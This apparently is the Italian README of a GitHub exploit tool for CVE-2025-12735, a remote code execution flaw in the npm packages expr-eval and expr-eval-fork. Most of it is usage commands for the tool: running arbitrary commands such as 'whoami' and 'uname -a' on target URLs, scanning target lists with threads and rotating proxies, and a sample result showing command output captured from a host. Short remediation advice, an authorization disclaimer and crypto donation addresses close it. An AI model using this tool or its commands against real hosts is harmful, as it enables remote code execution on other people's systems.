
Strumento di ricerca per la sicurezza per rilevare e testare CVE-2025-12735 (vulnerabilità RCE di expr-eval)
Uno strumento di ricerca sulla sicurezza per rilevare e testare la vulnerabilità CVE-2025-12735 nei pacchetti npm expr-eval e expr-eval-fork.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai ottenuto esplicita autorizzazione scritta.
CVE-2025-12735 è una vulnerabilità critica di esecuzione remota di codice (Remote Code Execution) nei pacchetti npm expr-eval e expr-eval-fork. Questa vulnerabilità consente agli attaccanti di definire funzioni arbitrarie all'interno dell'oggetto context utilizzato dal parser, permettendo l'iniezione di codice dannoso che esegue comandi a livello di sistema.
CVSS Score: 9.8 (Critico)
expr-eval-fork < 3.0.0
expr-eval-fork v3.0.0+
# Clone the repository
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Install dependencies
pip install requests
# Single target
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Execute custom command
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# With threading for faster scanning
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Verbose output for debugging
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url URL del bersaglio
-f, --file File contenente URL dei bersagli (uno per riga)
-c, --command Comando da eseguire (default: id)
-t, --threads Numero di thread (default: 1)
-o, --output File di output (default: uknf_expr_eval_results.json)
-v, --verbose Abilita logging dettagliato
--proxy URL del proxy (es. http://127.0.0.1:8080)
--proxy-list File contenente URL dei proxy (uno per riga)
Lo script genera un file JSON con risultati dettagliati:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Se stai utilizzando expr-eval o expr-eval-fork:
Aggiorna immediatamente:
npm install expr-eval-fork@latest
Applica la patch di sicurezza:
Implementa la validazione degli input:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
I contributi sono benvenuti! Sentiti libero di inviare una Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Aggiungi una AmazingFeature')git push origin feature/AmazingFeature)Se incontri problemi o hai suggerimenti, apri un issue su GitHub.
Questo progetto è concesso in licenza MIT - consulta il file LICENSE per i dettagli.
Se trovi utile questo strumento, considera di dargli una stella su GitHub!
Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo programma. Gli utenti sono responsabili di assicurarsi di avere la dovuta autorizzazione prima di testare qualsiasi sistema.
Se trovi utile questo strumento e desideri supportare il progetto:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Grazie per il tuo supporto! 🙏